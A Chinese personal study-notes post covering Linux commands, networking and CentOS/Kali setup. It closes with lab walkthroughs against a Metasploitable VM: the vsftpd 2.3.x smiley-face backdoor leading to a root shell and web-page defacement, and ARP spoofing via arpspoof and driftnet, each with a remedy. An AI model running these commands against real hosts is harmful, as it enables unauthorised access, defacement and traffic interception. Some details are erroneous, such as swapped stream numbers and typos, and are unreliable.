Linux

Linux基础

Linux 概念

Linux 目录结构

img

Linux目录结构

Linux目录结构

Linux标准输入输出

# 标准输出:0
终端
# 标准输入:1
键盘
# 标准错误:2
终端
# 输出重定向
echo "hello word" > aa.txt

img

文件权限

# 一个文件或目录,有三种角色:文件的所有者u,文件所有者的所属组g,其他用户o,所有用户a

## Linux三种权限位
read # 文件是cat; 目录是ls
write # 文件是touch,vim; 目录是 mkdir,mv,rm
execute # 文件是./脚本, 目录是cd 命令

文件特殊权限

##文件特殊权限是对一般权限的补充(由于管理员不受一般权限的控制,可以通过特殊权限来控制),特殊权限会对管理员生效。
# SUID针对所有者的特殊权限:会让此文件执行者临时获取文件所有者的权限来完成某些工作,rwS
# SGID
# SBID其他用户的权限,
注:
sudo 是借用root权限
SUID 是借用所有者的权限
SGID 是借用属组的权限

Linux文件类型

以下文件类型均有对应字符表示:
- : 平台文件
d(directory) : 目录文件 
c(character) : 字符设备文件
b(block) : 块设备文件
s(socket) : 套接字文件
p(pipe) : 管道文件
l(link) : 符号链接文件
# 普通文件、目录文件、块设备文件、字符设备文件和套接字文件都是实际存在文件系统中的文件,而符号链接文件和命名管道

# 文件类型,权限,链接数,文件所有者,文件所属组,文件大小,最后修改时间,名称
command --help # 查看命令

## ls
ls -alh # 大小使用k单位显示
ls -ai # 显示index索引

## file [选项] 文件名
file anaconda-ks.cfg # ASCII text 普通文本文件
file /bin/cd # shell script 可运行脚本
file /var/log/wtmp # data 数据格式的文件
file /var/log/tuned # directory 目录文件
file /

普通文件类型(Regular File)

1、纯文本文件(ASCII): 普通文本,可以直接读取;
2、二进制文件(binary):可运行脚本
3、数据格式的文件(data):cat /var/log/wtmp 读取不了,要使用 who /var/log/wtmp 读取
复制代码

目录文件类型(Directory File)

cd 命令可以进入的,蓝色
复制代码

设备文件类型(Device File)

1、块设备文件(Block Device File):硬盘、USB;IDE(/dev/hd**),SCSI/SATA/USB(/dev/sd**)
2、字符设备文件(Character Device File):键盘,鼠标,打印机
复制代码

套接字文件(Socket)

套接字文件是一种特殊的文件,用于进程间的通信,提供一种全双工的通信方式。网络通信方式,网络数据连接。
复制代码

管道文件(FIFO)

管道文件,也称为命名管道,用于实现进程间的通信;提供半双工的通信方式,在Shell脚本和进程通信场景中使用。

链接文件(Symbolic link)

软链接:例如 /bin -> usr/bin
硬链接:usr/bin
复制代码

特殊文件(Special file)

"/dev/null"文件:用于丢失数据
"/dev/zero"文件:用于产生全零数据
"/dev/random""/dev/urandom"文件:用于产生随机数等
复制代码

Linux 命令

文件

# 1、创建文件
touch aa.txt # 创建aa.txt文件
echo whoami > aa.txt ## 输入whoami文本到aa.txt文件中
# 2、显示文件内容(6个):cat/more/less/head/tail
# 3、搜索、排序、去重(3个):grep, sort, uniq
# 4、比较(2个)comm, diff
# 5、复制、删除、移动(3个):cp/rm/mv
# 6、统计: wc
# 7、查找: find
# 8、打包、压缩、解压缩(3个): bzip2/gzip/tar

目录

mkdir test # 创建test目录
mkdir -p a/b/c # 递归创建a,b,c层级目录

rm -r test # 删除test目录
rm -rf a/b/c # 递归删除a,b,c层级目录

文件&目录

mv a test # 将 a 目录移动到 test下
mv a b # 将a目录重命名为b目录

cp aa.txt test # 将aa.txt拷贝到test目录下
cp aa.txt test\bb.txt # # 将aa.txt拷贝到test下并重命名为bb
cp -r a test # 将a 目录复制到test目录下

echo命令

echo whoami > aa.txt
echo whoami >> aa.txt

echo -e "\a" # -e后面扩展字符
echo -e "123\b123" # \b删除前面一个字符
echo -e "123\n123" # \n 换行
echo -e "123\r123" # \r 回车
echo -e "123\t123" # \t 制表符
echo -e "\x61\t\x62\t\x63\t\x64\t\x65\t\x66" # 16进制
echo -e "\e[1;33m whoami \e[0m" # [1;33m 颜色
echo -e "\e[;31m \e[1:42m whoami \e[0m \e[0m" # 括号

echo %(date + "%Y-%m-%d %H:%M:%S") # 时间

cat 命令

cat aa.txt # 查看文件内容
cat > aa.txt # 覆盖输入,按Ctrl + D结束
cat >> aa.txt # 追加输入,按Ctrl + D结束
cat aa.txt bb.txt cc.txt > dd.txt # 将3个文件的内容写到dd.txt中

more 命令

more # 空格(或者d)向下翻页,b向上翻页,回车下一行,=显示当前行号
more -6 aa.txt # 指定每一页显示6行 
more +6 aa.txt # 从第6行开始显示

less 命令

# 可以使用上下箭头来控制浏览内容
/a # / 向下搜索内容a
?a # ? 向上搜索内容a
less -i # 忽略大小写
less -N aa.txt # 显示行号,可以通过:跳转

group 命令(三剑客之一)

ps -ef | grep python # 搜索单词grep
ps -ef | grep python -c # 查看单词grep的个数
ifconfig | grep ens33 # 查找到ens33网卡行
# 常见用法
cat aa.txt | grep user # 查询带user的行
cat aa.txt | grep -i user # 不区分大小写
cat aa.txt | grep -v "%" #查看 aa.txt 文件中,不包含%的行
cat aa.txt | grep ^"#" # 查看 # 号开头的行
cat aa.txt | grep ^[^1] # 输出不是1开头的内容
cat aa.txt | grep y$ # 查看y结尾的内容
cat aa.txt | grep ^$ # 查看空行
cat aa.txt | grep ^[^$] # 不要显示空行
# 扩展
cat aa.txt | grep -E "a|b|c" # 输出包含a,b,c开头的行
cat aa.txt | grep - 

img

wc 命令

# 统计文件的字节数、字数、行数。
# wc [选项] [文件]
wc aa.txt
行数	单词数	字节数	文件名
-c # 统计字节数
-m # 统计字符数
-l # 统计行数
-w # 统计字数

find 命令(重要)

find / -iname test # 不区分大小写
find / -type d -iname test # 目录类型,不区分大小写 
find / -type f -perm 777 # 查找777权限的文件
find / -type l ! -perm 777 # 查找不是777权限的连接文件
find / -type f -empty # 查找所有空文件
find / -user tss -name "*" # 查找用户tss的所有文件
find / -user tss 2 > null # 将报错(返回2)的不要显示

img

bzip2 | gzip 打包 & 压缩(重要)

# bzip2 -> .bz2文件,v 是过程可视化,f 是强制解压(默认不保留源文件)
bzip2 aa.txt # 压缩生成aa.txt.bz2,不保留原文件
bzip2 -k aa.txt # 生成aa.txt.bz2,保留原文件
bzip2 -d aa.txt.bz2 # 解压,压缩包不保留
bzip2 -t aa.txt.bz2 # 检测压缩包是否有问题

# gzip -> .gz文件,v 是过程可视化,f 是强制解压(默认不保留源文件)
gzip aa.txt bb.txt # 分别压缩,生成2个压缩文件 aa.txt.gz, bb.txt.gz
gzip -l aa.txt.gz # 列出压缩文件的内容信息
gzip -d aa.txt.gz # 解压
gzip -r test # 递归压缩test目录下的aa.txt,bb.txt,cc.txt
gzip -rd test # 递归解压test目录下的压缩文件

## tar -> .tar文件,f是一定要有的,c是创建,x是解压缩,v是可视化,t是查看压缩内容(默认保留源文件)
# z: gz格式
# j: bz2格式
tar -cvf aa.txt.tar aa.txt
tar -xvf aa.txt.tar
tar -czvf aa.txt.gz aa.txt
tar -xzvf aa.txt.gz
tar -cjvf aa.txt.bz2 aa.txt
tar -xjvf aa.txt.bz2

uname 命令

uname # 显示linux
uname -a # 查询系统所有的信息
uname -r # 发行编号
uname -v # 查看版本号
uname - io # 操作系统名称

service 命令

service [服务名] [start | stop | restart | reload | status]
# 在 Centos7.0 后,很多服务不在使用 `service`,而是是 `systemctl`

systemctl 命令

systemctl [optinons] command [unit]
# options: -H, --host(指定systemd实例的主机名或者IP)
[start, stop, restart, reload, enable, disable, status, is-active, is-enable, mask, unmask等]
systemctl show ServiceName # 查看服务的内容
systemctl mask ServiceName # 注销,不可以start,需要unmask
systemctl unmask ServiceName # 取消注销

cut 命令

cut [选项参数] [filename]
# cut 命令,剪
# 文件aa.txt文件如下, 分隔符可以是空格,逗号等
1	2	3
4	5	6
# cut -d '	' -f 1 aa.txt
1
4
# cut -d '	' -f 1-2 aa.txt
1	2
4	5
cut -d : -f 1,3 /etc/passwd # 只显示第1,3列

Linux 痕迹命令

w # 显示系统当前登录的用户信息,who命令信息文件(/var/run/utmp)
who # 显示系统中正在使用的用户,包含ID,tty,IP,登录时间
last # 查看用户近期登录信息
tty # 查看当前登录的tty
lastlog # 账号最后登录时间
lastb # 登录错误记录
logname # 查看原始登录的用户(切换用户的情况)

多命令执行方式

# ; && || 之间混合使用
command1; command2; command3 # 顺序执行,命令中有错误也会执行后面
command1 && command2 && command3 # 顺序执行,有错误后面不执行
command1 || command2 || command3 # 命令1错误执行命令2,命令2错误执行命令3,命令1正确后面不执行
command1 | command2 | command3 # 除了管道过滤作用 或 ,只显示最后一个命令的结果

vim 文件编辑

# 命令模式
dd # 删除(剪切)
yy # 复制
p # 粘贴
u # 撤销
ctrl + r # 恢复撤销
# 末行模式
/^字符串 # 向下查询字符串开头
?字符串& # 向上查询字符结尾,可以结合正则表达式
:set nu # 显示行号
:set nonu # 取消行号

用户和组

用户,UID=1000-60000
超级用户: root, ID=0
虚拟用户:1-999之间
复制代码

用户

id # 查看用户的uid,gid,group

# 创建用户
useradd mz # 创建用户
passwd mz # 修改用户密码
su mz # 切换用户

# 删除用户
userdel -rf mz # 删除用户,f是强制删除(有进程),r是删除对应用户的家目录

# cat /etc/passwd
用户:密码:uid:gid:备注:家目录:shell_path
# cat /etc/shadow
用户:密码:修改时间:有效期

# /etc/sudoers 获取sudo的权限
root ALL=(ALL)	ALL # 方式1
echo "user	ALL=(ALL)	ALL" > /etc/sudoers/sudoers.d/user_sudoers # 方式2

# cat /etc/group

groupadd groupname1 # 创建组
groupdel groupname1 # 删除组

gpasswd -a user group # 将user添加到group中
gpasswd -d user group # 将user从group中删除

查看与终止进程

## 查询进程
ps [参数]
ps -aux # 显示所有进程 以更详细的内容展示
ps -ef
top # 动态,每3秒刷新一次,当前时间,启动时间,系统负载,tasks:全部进程;p cpu, m 内存, q退出

# yum install -y lsof 
lsof -i :22 # 查看22端口的进程
lsof -i 192.168.16.ip # 查看IP对应的端口进程
lsof -p 1283 # 1283进程打开的文件

## 删除进程
kill 进程ID
kill -9 进程ID # 强制删除
pkill -9 t pts/2 # 删除pts
pkill -9 sshd # 将所以这个服务的进程

## 场景
ping www.baidu.com > ping.txt & # 后台运行
jobs # 查看后台任务
fg 1 # 1 编号是jobs命令查看的,fg将1编号的jobs调到前台运行,可以按Ctrl + Z暂停,或者Ctrl+C结束
bg 1 # 将暂停的任务继续运行
tail -f ping.txt # -f 循环查看

Linux 其他

Linux 系统下的通配符 (20个)

* : 通配符,代表任意字符(0到多个)
? : 通配符,代表一个字符
# : 注释
\ : 转义字符,将特殊字符或通配符还原成一般符号
| : 分割两个管线命令的界定

; : 连接性命令的界定
~ : 用户的根目录
$ : 变量前需要加的变量值
! : 逻辑运算中的“非”
/ : 路径分割符号

> : 输出导向,为“取代”
>> : 输出导向, 为“累加”
'' : 不具有变量置换功能
"" : 具有变量置换功能
`` : quote符号,两个 `` 中间为可以执行的指令

() : 中间为子shell的起始与结束
[] : 中间为字符组合
{} : 中间为命令区块组合
& : 表示程序要在后台运行
&& : 当该符号前一个指令执行成功时,执行后一个指令
| : 管道符,表示上一条命令的输出,作为下一条命令参数进行传递
|| : 表示前一条命令执行成功时,后一条命令不再执行;如果前面一条命令执行失败,后面的命令再执行

Linux系统下的常用快捷操作(七个)

Ctrl + C # 终止当前任务
Ctrl + D # 输入结束(回到登录界面)
Ctrl + M # 相当于Enter
Ctrl + S # 暂停屏幕的输出
Ctrl + Q # 恢复屏幕的输出
Ctrl + U # 再提示符下,将整行命令删除
Ctrl + Z # 暂停当前任务

Linux网络

ifconfig & ip & ping

# ifconfig
ifconfig -a
ifconfig -s # 查看网络服务连接状态
ifconfig ens33 down # 关闭网卡,IP地址没有了,网卡也没有了
ifconfig ens33 up # 启动网卡
ifdown ens33 # IP没有了,网卡还在
ifup ens33 # 

# ip
ip addr # 查看IP地址
ip addr add 192.168.16.101/24 dev ens33 # 临时添加IP地址,用于测试,重启就没有了
ip link # 查看当前设备情况
ip link set ens33 down # 关闭网卡,网卡不在,
ip link set ens33 up # 开启网卡
ip link set ens33 name ens32 # 关闭网卡后,可以修改网卡名称,之后再启动

# ping
ping -c 5 www.baidu.comn # 指定ping 次数
ping -s 1000 www.baidu.com # 指定包大小

网络静态配置

# 网卡配置目录
/etc/sysconfig/network-scripts/
cp ifcfg-ens33 ifcfg-ens33.bak # 备份网卡
# vim ifcfg-ens33
TYPE="Ethernet" # 以太网
PROXY_METHOD="none" # 代理方法:关闭
BROWSER_ONLY="no" # 仅仅是浏览器
BOOTPROTO="dhcp" # 网卡协议
DEFROUTE="yes" # 默认路由
IPV4_FAILURE_FATAL="no" # 
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="ens33" # 网卡名称
UUID="5b505e8a-35f2-4920-8241-edd9f3070780" # 唯一标识码
DEVICE="ens33" # 设备名称
ONBOOT="yes" # 是否激活
# 静态新加(DNS最多3个)
IPADDR="192.168.16.101"
NETMASK="255.255.255.0"
GATEWAY="192.168.16.2"
DNS1="223.5.5.5" # 阿里
DNS2="8.8.8.8" # 谷歌
DNS3="192.168.16.2"

route 路由配置

# route
ip route show # 查看路由信息
route # 显示路由 (default)
route -n # -n是以数字的方式显示 (0.0.0.0)

## 添加路由
# sudo ip route add <目标网络> via <网关IP> dev <接口>
sudo ip route add 192.168.1.0/24 via 10.0.0.1 dev eth0
# 默认路由
# sudo ip route add default via <网关IP> dev <接口>
sudo ip route add default via 10.0.0.1

## 删除路由
sudo ip route del <目标网络> via <网关IP> # sudo ip route del 192.168.1.0/24
sudo ip route del default # 删除默认路由

## 测试路由是否生效,查看 8.8.8.8 路由路径
ip route get 8.8.8.8

DNS 检测- nslookup & tracert

# nslookup # 
nslookup www.baidu.com # 返回域名对应的IP地址

# tracert # 跟踪
yum install -y traceroute
traceroute www.wangdun.cn

# cat /etc/resolv.conf
# Generated by NetworkManager
nameserver 223.5.5.5
nameserver 8.8.8.8
nameserver 192.168.16.2

网络监控 - netstat & ss

# netstat 查看网络连接
netstat -anpt # 显示当前主机所有互动的,TCP协议
netstat -anpu # 显示 UDP协议
netstat -lanpt # 监听

# ss 查看网络连接2,高并发的场景
ss -anpt # 和netstat差不多

抓包tcpdump

# 安装
yum install -y tcpdump
tcpdump --v # 查看版本

# 常用参数
-i	interface指定网卡
-vv 显示更加详情的信息
-e	显示mac地址
-w	write 写入保存到文件中,导入的文件可以使用wireshark打开(例如: tcpdump -i ens33 -w test)
-r 	read 读取文件中的数据(例:tcpdump -r [包文件名])
-c 	在收到指定包数目之后,tcpdump就会停止(例:tcpdump -i ens33 -c 2)
-n	不把网络地址转换成名字
-nn	不进行端口名称的转换

## 过滤参数
tcpdump命令中几种关键词
# 类型关键词,包括: host, net,port
# 传输方向关键字,包括: src, dst
# 协议关键词,包括: ip, arp, tcp, udp等类型
# 其他协议关键字,包括: gateway, broadcast, less, greater, not, !, and, &&, or, ||
host: 根据主机IP来抓包
src: 根据源IP地址来抓包
dst: 根据目的IP地址来抓包
port: 根据端口进行抓包
net: 根据网段进行抓包
protocol: 根据协议进行抓包
protocol协议:tcp/udp/icmp/ip/arp/rarp/ether协议等
icmp协议:ping命令
mac地址:指定mac地址进行抓包src mac: 源mac, dst mac: 目的地址

使用

tcpdump -i ens33 host 192.168.16.100
tcpdump -ni ens33 host 192.168.16.100 # 显示ip地址
tcpdump -vvni ens33 host 192.168.16.100 # 显示更加详细的信息
tcpdump -vvnni ens33 host 192.168.16.100 # 显示更加详细的信息,协议转换成端口
tcpdump -vvnni ens33 dst 192.168.16.100 # 目的地址
tcpdump -vvnni ens33 src 192.168.16.100 # 目的地址
tcpdump -vvnni ens33 port 22 -c 10 # 指定端口和10个包
tcpdump -vvnni ens33 dst port 22 -c 10 # 指定端口和10个包
tcpdump -vvnni ens33 src port 22 -c 10 # 指定端口和10个包
tcpdump -vvnni ens33 src port 22 -c 10 -w tcpdump # 输入到tcpdump文件
tcpdump -r tcpdump # 读取tcpdump文件
tcpdump -nnr tcpdump # 读取tcpdump文件,不显示ssh,显示22端口
tcpdump -vvnnr tcpdump # 读取tcpdump文件,不显示ssh,显示22端口,显示详细信息
tcpdump -nnvvi ens33 -c 10 '((tcp)and(port 22)and(dst host 192.168.16.200)or(dst host 192.168.16.201))'
tcpdum -ei ens33 '((icmp)and(ether host 00:0c:29:19:f4:ac))'
tcpdum -vvnnei ens33 '((icmp)and(ether host 00:0c:29:19:f4:ac))' -c 10

包管理工具

rpm

# rpm五大功能:安装(-i)、卸载(-e)、升级(-u)、查询(-qa(所有rpm包| -ql(已安装的软件包))、验证(-qf) 
rpm -qa # 查询系统上的rpm包

服务vsftpd

安装&卸载vsftpd

# yum
# http://rpmfind.net/
# wget https://rpmfind.net/linux/mageia/distrib/8/x86_64/media/core/release/vsftpd-3.0.3-11.mga8.x86_64.rpm
yum repolist # 查看镜像源
yum search vsftpd # 查看vsftpd软件包
yum install vsftpd # 安装vsftpd软件
yum remove vsftpd # 卸载vsftpd软件
yum autoremove # 卸载残留
yum clear all

配置vsftpd

# /etc/vsftpd/vsftpd.conf
anonymous_enable=NO
chroot_local_user=YES
chroot_list_enable=YES
chroot_list_file=/etc/vsftpd/chroot_list
listen=YES
listen_ipv6=NO
# 
useradd ftpuser
passwd ftpuser
vim  /etc/vsftpd/user_list # 添加ftpuser
# systemctl restart vsftpd
netstat -anpt  # 查看21端口

使用vsftpd

# 客户端
yum install ftp
sftp ftpuser@192.168.16.101
get filename # 下载
put filename # 上传

ARP

常见ARP命令

# windows
arp -a
arp -d # 清除arp记录
arp -d xx-xx-xx-xx-xx-xx # 删除arp记录
# PC上绑定网关的mac地址
arp -s 192.168.16.2 xx-xx-xx-xx-xx-xx

Centos7

Centos7安装&配置

Centos7安装

复制代码

Centos7更换源

# 更换阿里源
curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo
# 清理yum缓存
yum clean all
# 重新生成缓存
yum makecache

Centos7安装常用工具

# wegt下载,net-tools ifconfig, bind-utils nslookup, vim
yum install -y wget net-tools bind-utils vim-enhanced tree

Centos7关闭selinux

# 关闭selinux
cp /etc/selinux/config /etc/selinux/config.bak # 备份selinux备份
vim /etc/selinux/config # 将 enforcing 修改为 disabled 
getenforce # 检查 selinux是否是 disabled 状态

Centos7网络配置

## ifconfig 命令
ifconfig -a # 查看所有网络设备
ifconfig ens33 # ifconfig 加设备名:查询指定设备
ifconfig -s # 查询网络通讯情况
ifconfig ens33:0 192.168.40.178 # 给设备添加虚拟网卡(冒号后的0代表虚拟网卡的序号,不能重复)
ifconfig ens33 up # 启动网卡
ifup ens33 # 启动网卡
ifconfig ens33 down # 关闭网卡
ifdown ens33 # 关闭网卡

## ip 命令
ip addr # 显示所有设备IP地址
ip addr add 192.168.0.150/24 dev ens33 # 给指定网卡设备ens33添加IP和掩码,立即生效
ip addr del 192.168.0.150/24 dev ens33 # 删除ens33上的192.168.0.150 IP信息,立即生效
ip link show # 显示当前设备情况 ip link
ip link set ens33 down # 关闭网卡
ip link set ens33 up # 开启网卡
ip link set ens33 name ens32 # 修改网卡名称
ip link set ens33 MTU 1320 # 修改网卡MTU
ip link set ens33 MAC xx:xx:xx:xx:xx:xx # 修改网卡MAC地址
ip route show # 显示当前路由信息
ip route add default via 192.168.0.1 dev ens33 # 添加默认路由
ip route del default via 192.168.0.1 dev ens33 # 删除默认路由

其他命令

hostname [主机名] # 临时修改主机名
hostnamectl set-hostname [主机名] # 永久修改主机名

route -n # 查看路由表

## netstat 端口扫描,查看端口是否正常,常见参数如下
netstat -anpt # 以数字形式显示当前系统中所有的TCP链接信息,同时显示对应的进程信息
netstat -antp | grep 22 # 查找22端口的信息
-a # 显示当前主机所有活动的网络链接信息
-n # 以数字的形式显示相关的主机地址和端口信息
-r # 显示路由表信息
-l # 显示处于监听状态的网络链接和端口信息
-t # 显示tcp协议的信息
-u # 显示udp协议的信息
-p # 显示与网络链接相关的进程号,进程名称信息(需要root权限)

## ss 查看系统网络连接情况,获取 socket 统计信息
-t # 显示tcp协议信息
-u # 显示udp协议信息
-w # 套接字
-x # 内核socket相关信息
-l # 处于监听装填
-a # 显示所有网络连接活动

## dig 命令
yum install bind-utils # Ubuntu上 apt install dnsutils
dig www.baidu.com

## 其他
who /var/log/wtmp # 查看登录记录

Kali

Kali安装&配置

Kali安装

# 设置中文
sudo dpkg-reconfigure locales

# 修改root密码
sudo -i
password root

## root用户视图下,更换kali源仓库为国内
cd /etc/apt
cp sources.list sources.list.bak
# 阿里源
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
# apt更新
apt update 
# 没有公钥解决方法:sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED65462EC8D5E4C5
# 解决方法2
wget -qO- https://archive.kali.org/archive-key.asc | sudo gpg --dearmor -o /usr/share/keyrings/kali-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/kali-archive-keyring.gpg] https://archive.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list

## 实用工具
# 检测主机是否存在
fping -asg 192.168.112.0/24 -C 1

## nmap  网络探测和安全审核
# nmap 192.168.112.128
# nmap -sV 192.168.112.128
# nmap -p 1-65535 192.168.112.128
# nmap -p- 192.168.112.128

漏洞

0001 - 笑脸漏洞 ): (21 port, vsftpd 2.3)

原理

影响范围:vsftpd 2.3.x及以下版本

复现

# 靶场环境:metasploitable-linux-2.0.0.zip,解压打开,选择“我已复制虚拟机”

## kali
# 1、使用nmap 探活
nmap 192.168.16.0/24 # 确认有开发ftp 21端口的IP地址
nmap -sV 192.168.16.141 # 确认对应IP地址对应的ftp版本,V是版本

## 2、使用nc(瑞士小军刀)连接ftp。(aa用户名和aaaa密码随意,:)一定要有)
# 终端1
nc 192.168.16.141 21 # 21 ftp 端口
	user aa:)
	pass aaaa
# 终端2
sudo nmap -sS -p 6200 192.168.16.141
nc 192.168.16.141 6200 # 就可以连接上了,回车输入下面Python命令获取权限
python -c 'import pty;pty.spawn("/bin/bash")'

## 3、网页篡改
# http://192.168.16.141 是一个静态网页。(靶场自带的)
find / -name index.html # 查看静态网页的路径
cd /etc/www
cat index.php # 确认网站内容和该文件一致
wget http://img.k2r2.com/uploads/002/20230625/1618252013.jpg # 准备篡改的图片
mv 1618252013.jpg aa.jpg
echo '<img src="aa.jpg">' >> index.php # 篡改网页内容,增加图片
chmod 777 aa.jpg # 修改图片的权限

相关截图如下

img

img

img

解决方法

更新vsftpd版本超过2.3.x

0002 - ARP 欺骗攻击(中间人攻击)

ARP欺骗攻击

ARP欺骗攻击

原理

# 步骤1:
欺骗者 -> PC1: 欺骗者一直给PC1发送arp响应,网关IP的Mac地址是欺骗者
欺骗者 -> 网关: 欺骗者一直给网关发送arp相应,PC1 IP的MAC地址是欺骗者

# 步骤2:主机型欺骗
PC1 -> 网关:PC1 发送的报文 {dst_ip: "网关", src_ip: "PC1", dst_mac: "欺骗者", src_mac: "PC1"}
网关:看到dst_mac不是自己,直接丢弃
欺骗者 -> 网关:欺骗者看到后,将报文修改为:{dst_ip: "网关", src_ip: "PC1", dst_mac: "网关", src_mac: "欺骗者"}

# 步骤3:网关型欺骗
网关 -> PC1:网关回复的报文 {dst_ip: "PC1", src_ip: "网关", dst_mac: "欺骗者", src_mac: "网关"}
PC1:看到dst_mac不是自己,直接丢弃
欺骗者 -> PC1:欺骗者看到后,将报文修改为:{dst_ip: "PC1", src_ip: "网关", dst_mac: "PC1", src_mac: "欺骗者"}

# 步骤四:就变为如下图所示,主机A和主机B的逻辑链路就断了。
备注:arp记录有失效,失效过了就没有了

img

复现

## 环境准备 Win7 & Kali
# Kali 安装 arpspoof 相关组件
apt install dsniff 
apt install driftnet
apt install kali-desktop-core # 如果安装dsniff报错,提示缺少这个依赖,需要重启服务,选择“Yes”
arpspoof -v

## 步骤1,探活,只ping	一次,
fping -asg 192.168.16.0/24 -c 1 

## 单向欺骗操作:使用网卡 eth0 欺骗PC1 192.168.16.129, 我是 192.168.16.2
arpspoof -i eth0 -t 192.168.16.129 192.168.16.2

## 双向欺骗操作:
# kali允许转发
echo "1" > /proc/sys/net/ipv4/ip_forward
# kali终端1
arpspoof -i eth0 -t 192.168.16.129 -r 192.168.16.2
# kali终端2: 运行一个窗口 
driftnet -i eht0

## 同步操作2:
# Win7 PC1
ping www.baidu.com -t 
arp -a # 查看没有欺骗前的192.168.16.2的mac地址后缀是.59

相关截图如下

!(https://cdn.jsdelivr.net/gh/hjxstart/PicGo@main/img/20250906171443108.png)

img

欺骗后昂立

欺骗后昂立

欺骗前后网关MAC地变成kali

欺骗前后网关MAC地变成kali

欺骗时网关的MAC地址变成e3,取消欺骗后变为网关的59

欺骗时网关的MAC地址变成e3,取消欺骗后变为网关的59

解决方法

# 方法1:PC上绑定网关的mac地址
arp -s 192.168.16.2 xx-xx-xx-xx-xx-xx
# 方法2:交换机上-流量抑制
根据实际交换机品牌

0003 -



转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以邮件至 hjxstart@126.com